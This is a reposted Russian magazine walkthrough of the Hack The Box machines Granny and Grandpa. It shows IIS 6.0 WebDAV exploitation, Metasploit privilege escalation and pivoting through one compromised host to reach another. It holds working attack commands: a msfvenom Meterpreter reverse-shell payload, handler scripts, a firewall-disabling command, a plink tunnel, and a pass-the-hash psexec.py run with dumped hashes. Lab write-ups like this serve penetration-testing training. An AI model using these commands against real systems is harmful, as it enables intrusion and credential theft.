JustPaste.it

Хакер - Большой проброс. Оттачиваем искусство pivoting на виртуалках с Hack The Box

hacker_frei
6e5ab2ce66046df7e51f4275c5fea226.png

 

https://t.me/hacker_frei

snovvcrash

Содержание статьи

  • Granny
  • Разведка
  • Веб
  • Шелл от имени NT AUTHORITY\NETWORK SERVICE
  • Шелл от имени NT AUTHORITY\SYSTEM
  • Grandpa
  • Разведка
  • Веб
  • Pivoting
  • Подготовка
  • Точка опоры
  • SOCKS-сервер с помощью Metasploit
  • Зомби-прокси
  • Реверсивный SSH-туннель
  • Реверсивный проброс портов
  • Проброс портов до локального сервиса

Умение пользоваться техникой pivoting — проброса трафика к жертве (и обратно) через промежуточные хосты — жизненно важный скилл для этичного хакера, он пригодится при тестировании на проникновение любой корпоративной сетки. В этой статье мы превратим прохождение двух несложных виртуалок с Hack The Box в полезную шпаргалку по проксированию соединений во время пентеста.

На заре становления Hack The Box как онлайн-площадки для тренировки вайтхетов в списке машин значились две виртуалки: Grandpa (IP: 10.10.10.14) и Granny (IP: 10.10.10.15). Обе эти машины нацелены на эксплуатацию уязвимостей WebDAV (набора дополнений для HTTP), и стратегии захвата их root-флагов практически не отличаются друг от друга.

Поэтому, чтобы разнообразить прохождения, мы сначала быстро рассмотрим, как можно взломать каждый из хостов по отдельности, а после этого превратим один из них в шлюз, через который атакуем второй хост.

Granny

Первой мы будем проходить виртуалку Granny. Эта машина достаточно проста (рейтинг сложности — 3,4 балла из 10), однако, как по мне, она максимально приближена к случаям из реальной жизни (по крайней мере там, где не следят за обновлениями ПО). Недаром именно такие тачки часто попадаются на сертификации OSCP в лайтовой ценовой категории.

11971b53397087a74b318c091a88098d.png

 

Разведка

Для начала сканируем порты и исследуем найденные сервисы.

Nmap

Сканирование Nmap я провожу в два этапа: поверхностное (только SYN-пакеты, без скриптов) и точечное по найденным портам (с задействованием скриптового движка NSE и определением версий сервисов).

root@kali:~# nmap -n -Pn -oA nmap/granny-initial 10.10.10.15

root@kali:~# cat nmap/granny-initial.nmap

...

Host is up (0.065s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

80/tcp open http

...

Видим только один открытый порт — 80-й, веб. Узнаем, кто там живет.

root@kali:~# nmap -n -Pn -sV -sC -oA nmap/granny-version 10.10.10.15 -p80

root@kali:~# cat nmap/granny-version.nmap

...

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 6.0

| http-methods:

|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT

|_http-server-header: Microsoft-IIS/6.0

|_http-title: Under Construction

| http-webdav-scan:

| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

| WebDAV type: Unknown

| Server Date: Sat, 21 Dec 2019 18:04:11 GMT

| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK

|_ Server Type: Microsoft-IIS/6.0

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

...

Итак, что у нас есть? Веб-сервер Microsoft IIS, версия 6.0. Если спросить Google, что он знает об этой ревизии IIS, то он сдаст «мелкомягких» с потрохами: Windows Server 2003.

45bb658cc39b5bd7e695c40ad9f209fa.png

 

Информации об архитектуре Windows у нас нет, поэтому пока будем считать, что это x86, ибо они были более распространены в свое время. Также скрипт http-webdav-scan.nse оповестил нас об установленном наборе HTTP-расширений WebDAV. В общем, все намекает на то, что нам суждено отправиться на исследование веба.

Веб

Изучим 80-й порт с разных углов: от простого браузера до специальных утилит для работы с WebDAV.

Общие сведения

На главной странице веб-сервера (http://10.10.10.15/) — заглушка.

d3a1d61bc9c131bf2329f2e0d4f86fa4.png

 

Браузер оказался немногословен, поэтому постараемся расширить список наших знаний о системе заголовками HTTP-хедеров.

root@kali:~# curl -I 10.10.10.15

HTTP/1.1 200 OK

Content-Length: 1433

Content-Type: text/html

Content-Location: http://10.10.10.15/iisstart.htm

Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT

Accept-Ranges: bytes

ETag: "05b3daec0d9c21:348"

Server: Microsoft-IIS/6.0

MicrosoftOfficeWebServer: 5.0_Pub

X-Powered-By: ASP.NET

Date: Sat, 21 Dec 2019 21:51:01 GMT

В заголовках ожидаемо присутствует информация о том, что используется ASP.NET. Держи в голове две базовые схемы, когда речь заходит о стеке технологий веб-разработки:

  • LAMP = Linux + Apache + MySQL + PHP
  • WISA = Windows + IIS + SQL Server + ASP.NET

В нашем случае, так как речь идет о Windows, платформа ASP.NET выступает в роли альтернативы PHP. А это значит, что именно этот компонент стека будет средой для создания полезной нагрузки бэкдора, и было бы неплохо найти способ доставки на сервер файлов с расширением asp/aspx.

WebDAV

Надстройки WebDAV привносят дополнительные методы в дефолтный набор HTTP-запросов. Один из них — метод MOVE, который позволяет перемещать (грубо говоря, переименовывать) файлы на сервере. Идея нашего злодеяния довольно проста: загрузить на веб-сервер легитимный файл и переименовать его в исполняемый, изменив расширение на asp или aspx. Таким образом мы обойдем черный список из типов файлов, которые нельзя было загрузить изначально. Эта уловка стара как мир, а в основе ее лежит небезопасная настройка веб-сервера (OSVDB-397), доверяющая метод PUT кому угодно.

Для взаимодействия с WebDAV есть несколько удобных инструментов командной строки, которыми мы и воспользуемся.

Сначала исследуем состояние безопасности с помощью davtest. К сожалению, эта утилита не позволяет указать прокси-сервер, чтобы посмотреть, какие именно запросы были отправлены, поэтому мы поступим хитро: запустим Burp Suite, перейдем на вкладку Proxy → Options и добавим еще один листенер 10.10.10.15:80 на интерфейс loopback.

d81d7092cd2948e898c778f84fdbb67d.png

 

Теперь я могу натравить davtest на localhost точно так же, как на 10.10.10.15, и все запросы полетят через проксю Burp.

root@kali:~# davtest -rand evilhacker -url localhost

********************************************************

Testing DAV connection

OPEN SUCCEED: localhost

********************************************************

NOTE Random string for this session: evilhacker

********************************************************

Creating directory

MKCOL FAIL

********************************************************

Sending test files

PUT aspx FAIL

PUT php FAIL

PUT cgi FAIL

PUT jhtml FAIL

PUT html FAIL

PUT asp FAIL

PUT txt FAIL

PUT cfm FAIL

PUT pl FAIL

PUT shtml FAIL

PUT jsp FAIL

********************************************************

Несмотря на то что, по мнению davtest, все попытки загрузить какой-либо файл на сервер провалились, мы можем открыть историю Burp и посмотреть, что же на самом деле произошло.

e806050791d6acca144c1f6a2c5d3a4f.png

 

Как видно из скриншота, разные запросы PUT получили разные ответы веб-сервера:

  • при попытке загрузить файл с расширением aspx — категорический запрет (403);
  • для файлов .asp, .cgi, .shtml — неопределенное поведение (404, не уверен, почему IIS выбрал именно эту ошибку);
  • для всего остального — конфликт загрузки (409).

Последняя ошибка привлекла мое внимание, потому что встречается она не так часто и связана в основном с конфликтами версий загружаемого и существующего на сервере файлов.

«Этой ошибке здесь не место», — подумал я и посмотрел внимательнее на тело запроса загрузки простого текстового файла.

PUT /localhost/davtest_evilhacker.txt HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: close Host: localhost:80 User-Agent: DAV.pm/v0.49 Content-Length: 19 TXT put via davtest

Вся проблема в том, что davtest попытался загрузить эти файлы в несуществующий каталог /localhost. Еще раз открыв историю HTTP, я увидел запрос MKCOL на создание директории, который также провалился с ошибкой 409. Выглядел он так.

MKCOL /localhost/DavTestDir_evilhacker/ HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: close Host: localhost:80 User-Agent: DAV.pm/v0.49 Content-Length: 0

Как нетрудно догадаться, проблема заключается в попытке создать вложенный каталог /DavTestDir_evilhacker внутри несуществующего родителя /localhost. Не знаю, умеет ли так делать WebDAV в принципе (смотреть спецификацию было лень; может, в комментариях подскажут), но, если попробовать создать одноуровневую директорию /localhost, она успешно появится, и все встанет на свои места.

561dfaed64eb904f6932981be8a883d9.png

 

b8809f2b7e28da4a5a4e1e4ad62ea19c.png

 

После этого текстовый файл успешно загрузился, а это означает, что наш план в силе и можно приступать к генерации полезной нагрузки.

Шелл от имени NT AUTHORITY\NETWORK SERVICE

Теперь у тебя есть несколько вариантов выбора полезной нагрузки, и все зависит только от конечной цели твоего проникновения в систему.

  • Например, если ты точно знаешь, где лежит то, что тебе нужно, и для доступа хватит базовых привилегий в системе, то можно ограничиться простым веб-шеллом, взаимодействовать с которым можно прямо из браузера.
  • Если же тебе нужно внимательнее осмотреться на хосте, тогда твоим выбором может стать тот же самый веб-шелл в связке с пейлоадом на PowerShell, что в итоге дарует тебе реверс-шелл.
  • Ну а если твоя цель — полный захват контроля над тачкой с эскалацией привилегий до админа, тогда Meterpreter — твой путь.

Конечно, мы выберем последний вариант.

Генерация пейлоада

С помощью msfvenom создадим бэкдор с полезной нагрузкой Meterpreter для 32-битной версии Windows в формате aspx.

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform win LHOST=10.10.14.10 LPORT=31337 -f aspx > meterpreter/m.aspx

Далее я создам скрипт автозапуска слушателя Metasploit, чтобы не вводить команды каждый раз вручную в консоли MSF.

## meterpreter/l.rc use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST tun0 set LPORT 31337 set ExitOnSession false exploit -j -z

cadaver

В Kali есть инструмент с жутковатым названием cadaver (то есть «труп») — это консольный WebDAV-клиент, который облегчает взаимодействие с WebDAV из командной строки.

Я скопирую сгенерированный в msfvenom бэкдор в текстовый файл m.txt, загружу его на сервер и переименую в m.aspx в интерактивной сессии cadaver.

root@kali:~# cp meterpreter/m.aspx m.txt

root@kali:~# cadaver http://10.10.10.15

dav:/> put m.txt

dav:/> move m.txt m.aspx

d8192e1165a1543d374d9217b85f8854.png

 

Теперь можно поднимать слушателя Metasploit и запускать сам файл m.aspx на сервере (просто обратиться к нему из браузера).

root@kali:~# msfconsole -qr meterpreter/l.rc

0bb954057ac7b8b03ee47e1589cc223e.png

 

И вот у нас уже есть сессия Meterpreter от имени NT AUTHORITY\NETWORK SERVICE.

Шелл от имени NT AUTHORITY\SYSTEM

Далее дело техники: запустим советчик по локальным уязвимостям и выберем наугад первый попавшийся эксплоит — благо тачка старая и выбор велик.

3ba7d2eaa53de1254df259713458edd3.png

 

После минутного ожидания 29 уязвимостей были проверены, и семь из них подошли с высокой вероятностью.

d3da6ed15d0d471d693a84bebd99e0a2.png

 

Я выбрал MS14-070 — уязвимость виндового стека TCP/IP. Повышение привилегий с помощью Metasploit заняло считаные секунды, и я получил привилегированный шелл.

Если заспавнить шелл и спросить whoami, сервер ответит, что ты все еще обладаешь правами не выше NETWORK SERVICE. Происходит это из-за того, что пейлоад Meterpreter все еще инжектирован в первый процесс, который мы заарканили до повышения привилегий. Для того чтобы получить права SYSTEM из оболочки cmd, достаточно мигрировать вредоносный процесс в процесс с соответствующими привилегиями.

d3b49893b655f1816ecde1380e6caf17.png

 

Я выбрал cidaemon.exe с PID 3964 в качестве носителя и подселился к нему.

1869dbc90024a61b28e577d3316f0926.png

 

Теперь права отображаются корректно.

e23f259723e73054b4937712c1e03c75.png

 

Дело за малым: найти и вытащить хеши (флаги) юзера и администратора. Сделаю я это с помощью Meterpreter — а именно модулей search и download.

e8e659f32746101dec51b1e8b0adc1b6.png

 

Напоследок посмотрим на разрядность ОС.

meterpreter > sysinfo

Computer : GRANNY

OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).

Architecture : x86

System Language : en_US

Domain : HTB

Logged On Users : 1

Meterpreter : x86/windows

Судя по сведениям sysinfo, наше предположение о 32-битной природе Windows подтвердилось.

На этом виртуалку Granny считаю пройденной.

84d1a0136aa77bcf1d14fbf978cc06c0.png

 

Переходим к Grandpa.

Grandpa

Эту тачку (рейтинг сложности — 4,5 балла из 10) я пробегу быстрее и не буду так подробно останавливаться на каждом пункте.

360160d9d5a31847177d0b7dc979ef8d.png

 

Разведка

Nmap

Так же в два этапа просканируем Nmap.

root@kali:~# nmap -n -Pn -oA nmap/grandpa-initial 10.10.10.14

root@kali:~# cat nmap/grandpa-initial.nmap

...

Host is up (0.064s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

80/tcp open http

...

Результаты повторяются точь-в-точь.

root@kali:~# nmap -n -Pn -sV -sC -oA nmap/grandpa-version 10.10.10.14 -p80

root@kali:~# cat nmap/grandpa-version.nmap

...

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 6.0

| http-methods:

|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH

|_http-server-header: Microsoft-IIS/6.0

|_http-title: Under Construction

| http-webdav-scan:

| Server Type: Microsoft-IIS/6.0

| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

| WebDAV type: Unknown

| Server Date: Sat, 21 Dec 2019 16:49:20 GMT

|_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

...

Веб

На главной странице веб-сайта висит такая же заглушка.

30694c96908476a96d6c3b1e1ccc3362.png

 

WebDAV

Единственное существенное различие между двумя тачками, пожалуй, в типах брешей WebDAV. На этой машине доступ к загрузке файлов на сервер с помощью PUT запрещен для любых типов файлов. Однако, помня о номере версии IIS, я воспользовался нашумевшим в свое время эксплоитом для CVE-2017-7269. Основывается он на ошибке функции ScStoragePathFromUrl, которая содержит уязвимость переполнения буфера в строке одного из хедеров запроса PROPFIND (из арсенала WebDAV).

Оригинальный PoC доступен на GitHub, однако я пользовался встроенным модулем Metasploit — iis_webdav_scstoragepathfromurl.

77ee70b019471db634dab865c5366354.png

 

После получения сессии Meterpreter ты можешь столкнуться с ошибкой прав доступа. Причины возникновения этого бага схожи с теми, что мы наблюдали в аналогичной ситуации при прохождении Granny: пейлоаду тесно в процессе, в котором он сидит.

Чтобы выйти из этого положения, я снова вызову Process List и мигрирую в тот процесс, который обладает нужными мне полномочиями.

89420ea5ee07fca9cd745a02acd14525.png

 

Кстати, чтобы узнать, в какой процесс был проведен первичный инжект, можно воспользоваться командой netstat до миграции и посмотреть список активных сетевых соединений.

C:\windows\system32\inetsrv>netstat -vb

137870b97ac3957d756beedd1022e030.png

 

Эскалация привилегий

Здесь все идентично предыдущей тачке: для повышения привилегий я буду использовать тот же сплоит.

ae7c411fe1542ae205eb2d98db3ff0e9.png

 

Для порядка я запустил поиск локальных уязвимостей, и список оказался точно таким же, как и у виртуалки Granny.

8aa2ecd5a06e5ce2c892e49e6f2bcb37.png

 

Выбрали ms14_070_tcpip_ioctl, повысили привилегии и получили свою сессию.

5cde39f98605e32821f708ff3793e710.png

 

Забираем награду, и Grandpa пройден!

c98f352d8c456b3d3dee238bc90246f8.png

 

Pivoting

Ну а теперь, собственно, то, ради чего мы сегодня собрались! Я продемонстрирую некоторые базовые принципы проброса соединений с помощью Metasploit.

Обозначим условия задачи. Дано:

  1. Локальная ВМ атакующего с Kali Linux (IP: 10.10.14.30), которая имеет прямой доступ к ВМ Granny (IP: 10.10.10.15).
  2. ВМ Granny, которая имеет прямой доступ к ВМ Grandpa (IP: 10.10.10.14).
  3. У ВМ атакующего нет прямого доступа к ВМ Grandpa — входящие и исходящие соединения блокируются с помощью iptables.

Требуется:

  1. Установить соединение между ВМ атакующего и ВМ Grandpa для сторонних утилит (вне контекста сессии Metasploit).
  2. Установить соединение между ВМ атакующего и ВМ Grandpa в контексте сессии Metasploit и получить максимальные права на хосте Grandpa.

Решение...

Подготовка

Я буду использовать стандартный файрвол для Linux iptables, чтобы исключить прямое взаимодействие своего хоста и хоста Grandpa. Так я буду уверен, что правила игры и правда выполняются.

root@kali:~# iptables -A OUTPUT -d 10.10.10.14 -j DROP

root@kali:~# iptables -A INPUT -s 10.10.10.14 -j DROP

Упрощенно схему подключения к скрытому за VPN сегменту (виртуальной) сети лаборатории Hack The Box можно изобразить так.

33920065ab2452484f43ada02f652bc5.png

 

Однако в рамках нашей задачи лучше абстрагироваться и представить схему взаимодействия «Атакующий — Pivot — Grandpa» в следующем виде.

80feeef34becfc0de63ec9b687a7c8f2.png

 

Слева — атакующий (ВМ Kali), посередине — ВМ Granny, справа — жертва (ВМ Grandpa). «Общение» напрямую между атакующим и жертвой исключено. Единственный способ взаимодействия — через промежуточный хост.

Точка опоры

Хост посередине — а именно Granny — будем называть точкой опоры или опорным пунктом (англ. foothold). Через него будет передаваться трафик до Grandpa и обратно. Первым делом получим доступ к точке опоры, как мы это делали ранее.

Я написал скрипт автозапуска для Metasploit, чтобы в случае, если что-то пойдет не так и нужно будет перезапускать всю эту конструкцию, мне не пришлось заново вручную вводить команды.

## pivot.rc use auxiliary/server/socks4a set SRVPORT 9050 run -j use exploit/windows/iis/iis_webdav_upload_asp set LHOST tun0 set RHOST 10.10.10.15 set InitialAutoRunScript migrate -f exploit -j back

В первом блоке я поднимаю прокси-сервер на локальном порте 9050, а во втором — использую модуль iis_webdav_upload_asp для получения низкопривилегированной сессии Meterpreter и сразу же мигрирую в другой процесс, чтобы не словить ошибку нехватки токенов (прав доступа).

root@kali:~# msfconsole -qr pivot.rc

1a3c27b76093c1df7fcd9ba04ca4e010.png

 

После этого с помощью команды route add я добавляю правило маршрутизации для открытой сессии Meterpreter (сессия 1).

msf5 > route add 10.10.10.14/32 1

[*] Route added

Здесь через слеш я указываю маску подсети 255.255.255.255 (в нотации бесклассовой адресации — CIDR), чтобы ассоциировать с этим правилом только один хост — Grandpa (10.10.10.14).

Предварительные настройки завершены, в чем можно убедиться с помощью команд jobs и route.

msf5 > jobs

msf5 > route

eb022126727ea564a63781ce0f663ee7.png

 

Первая команда покажет все процессы, которые запущены на фоне Metasploit (видим наш SOCKS-сервер), а вторая выведет список активных правил маршрутизации.

SOCKS-сервер с помощью Metasploit

Несмотря на то что сканировать порты можно средствами Metasploit (с настроенной там маршрутизацией), во многих случаях необходимо пользоваться сторонними инструментами для анализа целевой машины. В этом нам и подыграет настроенный в предыдущем разделе сервер SOCKS, через который с помощью proxychains можно расшаривать трафик для внешних утилит.

Зомби-прокси

Недавно в Metasploit добавилась поддержка пятой версии протокола SOCKS, однако, как бывает со всеми новыми фичами, в ней еще полно багов. Но это не повод расстраиваться, ведь версия 4a умеет практически все то же самое (за исключением разве что поддержки аутентификации), в том числе и резолвить DNS-имена в IP. В сочетании с модулем route это дает прекрасную возможность использовать скомпрометированный хост в качестве обычного прокси для браузера и таким образом открывать сайты от имени жертвы.

Я установлю proxychains-ng (четвертая версия), так как она всегда казалась мне более стабильной, и запущу сканирование Nmap через SOCKS-прокси.

root@kali:~# apt install proxychains4

root@kali:~# proxychains4 nmap -n -v -Pn -sT 10.10.10.14 -p80

94bc921b6d8e1e8854c0c862f4579b8f.png

 

Можно убедиться, что 80-й порт на хосте Grandpa открыт.

К сожалению, возможности Nmap весьма ограниченны в случае использования сквозь proxychains (нет поддержки тихого SYN-сканирования, потому что proxychains не понимает крафтовые пакеты, нет определения версий сервисов, да и скорость оставляет желать лучшего), однако это всего лишь пример, и точно так же можно использовать большинство других утилит.

Настройки proxychains-ng находятся в файле /etc/proxychains4.conf. Там можно изменить номер порта, где расположилась прокся (мы использовали дефолтный 9050).

На этом этапе нашу воображаемую схему можно дополнить пометками об использовании SOCKS-сервера и маршрутов Metasploit.

0498988b22707f0e6650085e2750fb4b.png

 

Реверсивный SSH-туннель

Чтобы иметь возможность «общаться» с Grandpa в рамках сессии Metasploit, мы должны настроить маршрутизацию через foothold обратно на наш хост.

Из-за того что я искусственно дропаю трафик между собой и Grandpa, последний не может до меня достучаться (равно как и я ответить ему), и нам необходимо проложить эту часть моста коммуникаций вручную. Сделать это можно с помощью SSH-туннеля от точки опоры до машины атакующего.

«Почему бы в таком случае просто не использовать bind_tcp вместо дефолтного reverse_tcp и не заморачиваться с каким-то там SSH?» — можешь поинтересоваться ты. Действительно, так сделать можно, однако обратные подключения всегда предпочтительнее: они надежнее с точки зрения безопасности (к bind-шеллу может подключиться кто угодно), а файрволы чаще ругаются именно на подозрительные входящие соединения...

Реверсивный проброс портов

В последней ревизии Metasploit модуль portfwd (из состава Meterpreter) обзавелся опцией -R, которая в теории позволяет конфигурировать обратный проброс порта с жертвы на машину хакера. Таким способом тоже можно было бы настроить прием данных от Granny, однако в этом кейсе у меня не получилось: portfwd отказывался создавать релей, ругаясь именно на флаг -R.

Если бы на ВМ Granny был установлен PowerShell, лучшим решением было бы развернуть SSH-сервер именно там и подключаться к SSH с клиента Kali, указывая при этом опцию -R (SSH Reverse Tunneling). Но, к сожалению, PS на промежуточном хосте не оказалось, поэтому в роли сервера вынуждена была выступить машина атакующего.

Отключаем файрвол

Чтобы пробросить SSH-туннель c Granny до Kali, сперва придется отключить файрвол на Windows Server. Сделать это можно только с привилегиями админа, поэтому мне пришлось снова воспользоваться MS14-070.

3f10ef9e34ebfa162ad13ca1fd6a2705.png

 

Теперь можно спавнить шелл и делать все, что душе угодно.

C:\WINDOWS\system32>netsh firewall set opmode disable

netsh firewall set opmode disable

Ok.

PuTTY из консоли

Создавать туннель будем с помощью консольного SSH-клиента для Windows — Plink (аналог PuTTY для командной строки). Его можно скачать или просто найти в Kali, в разделе готовых бинарей для винды.

root@kali:~# locate plink.exe

/usr/share/windows-resources/binaries/plink.exe

Забросим Plink на Windows Server с помощью Meterpreter. Я выбрал директорию, которая априори доступна для записи, — C:\Inetpub\wwwroot.

meterpreter > upload plink.exe "c:\inetpub\wwwroot"

[*] uploading : plink.exe -> c:\inetpub\wwwroot

[*] uploaded : plink.exe -> c:\inetpub\wwwroot\plink.exe

Теперь создадим вспомогательного пользователя snovvcrash на своей машине (чтобы не поднимать туннель от имени root), зададим для него пароль qwe123 и запустим SSH-сервер.

root@kali:~# useradd snovvcrash

root@kali:~# passwd snovvcrash

New password: qwe123

Retype new password: qwe123

passwd: password updated successfully

root@kali:~# service ssh start

Еще я лишу этого пользователя возможности выполнять команды — изменю дефолтный шелл на /bin/false в файле /etc/passwd. Выполнять команды ему незачем, а вот безопасность схемы от этого только повысится.

2e2a538b2af502c9913315cb0d32b15d.png

 

Теперь все готово и можно прокладывать SSH-туннель. Из командной строки Windows я выполню такую команду.

C:\Inetpub\wwwroot>plink.exe -l snovvcrash -pw qwe123 -L 10.10.10.15:8888:10.10.14.30:8888 -N 10.10.14.30

fb60611e9d387e8231921ce97f75267f.png

 

Это означает примерно следующее: «Granny, перенаправляй, пожалуйста, все, что поступит в порт 8888 интерфейса 10.10.10.15, по адресу 10.10.14.30:8888 через SSH-туннель». Проверить работоспособность можно с помощью обычного nc.

5f772a83fa5f28e3ad630e3c062181b1.png

 

Обращаю внимание, чтобы не возникло путаницы: туннель был создан с опцией -L с хоста Granny, поэтому по отношению к машине атакующего он будет «прямым». Если же посмотреть на эту схему со стороны Kali, то туннель логичнее называть «реверсивным».

Теперь наша схема выглядит так.

97c49166dac66dfd3d324477f002e934.png

 

Hack Grandpa!

Все готово, и можно (во второй раз) скомпрометировать систему Grandpa.

Для этого я опять выберу эксплоит iis_webdav_scstoragepathfromurl, но в этот раз его настройка будет немного отличаться: на роль машины атакующего (LHOST) я назначу хост Granny (10.10.10.15), а в роли порта для привязки хендлера (LPORT) выступит порт 8888 (через который все будет отправляться на Kali по SSH-туннелю).

fd5cfd8d5ef95781da4afffb8a49d9dd.png

 

После эксплуатации я повышу привилегии с помощью еще нас не подводившего MS14-070.

d1b2fcc75eb13fa2606e11ab0a2a4f98.png

 

Можно открыть сессию Meterpreter и посмотреть информацию о системе.

meterpreter > sysinfo

Computer : GRANPA

OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).

Architecture : x86

System Language : en_US

Domain : HTB

Logged On Users : 2

Meterpreter : x86/windows

Мы захватили полный контроль над Grandpa, не обменявшись с ним напрямую ни одним битом информации. Ура, задача решена!

Проброс портов до локального сервиса

На сладкое рассмотрим еще один кейс перенаправления трафика.

Файрвол на Grandpa никто не отключал, поэтому мы не можем так просто получить доступ к его SMB-ресурсу извне (в списке открытых портов Nmap не было 445-го, как ты помнишь). Однако вот что мы можем сделать: с помощью Meterpreter пробросить свой локальный порт 445 с Kali до машины Grandpa, вытащив таким образом на поверхность сервис SMB с Grandpa.

meterpreter > portfwd add -l 445 -p 445 -r 127.0.0.1

[*] Local TCP relay created: :445 ↔ 127.0.0.1:445

Этой командой я говорю, что локальный порт 445 (флаг -l) машины атакующего должен ассоциироваться с открытой сессией Meterpreter, а все, что в него попадает, должно быть передано на удаленный порт 445 (флаг -p) машины-жертвы (флаг -r) по интерфейсу 127.0.0.1 (так как SMB доступен локально на Windows Server). Если повторно запустить Nmap и просканировать 445-й порт (заметь, уже на локалхосте) — о чудо, он окажется открытым!

3aefa72497ff69fff986e27dd846eaa3.png

 

То есть поверх уже настроенного в Metasploit маршрута мы пробросили порт 445 с машины атакующего до порта 445 на ВМ Grandpa, который прежде был доступен только на loopback-интерфейсе из-за правил файрвола. В честь этого завершим обновление нашей схемы взаимодействия, добавив на нее проброс 445-го порта.

83d9ec58dc1d806f7cead16a744f2e02.png

 

Pass-the-Hash

Так как это Windows Server 2003, тебе не составит большого труда вскрыть шару SMB, ведь здесь все еще актуальны LM-хеши для хранения паролей. А они ломаются на раз. Однако я пойду по еще более простому пути.

f5a402d2f3f3c1017e2a6e0ed1f97d61.png

 

Благодаря hashdump я могу сдампить пару хешей LMHASH:NTHASH из базы данных SAM и провести атаку Pass-the-Hash с помощью внешней утилиты psexec.py, входящей в состав тулкита Impacket.

root@kali:~# ./psexec.py -hashes '0a70918d669baeb307012642393148ab:34dec8a1db14cdde2a21967c3c997548' Administrator@127.0.0.1

Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 127.0.0.1.....

[*] Found writable share C$

[*] Uploading file NNDHtRms.exe

[*] Opening SVCManager on 127.0.0.1.....

[*] Creating service tWni on 127.0.0.1.....

[*] Starting service tWni.....

[!] Press help for extra shell commands

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami

nt authority\system

Теперь действительно всё.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei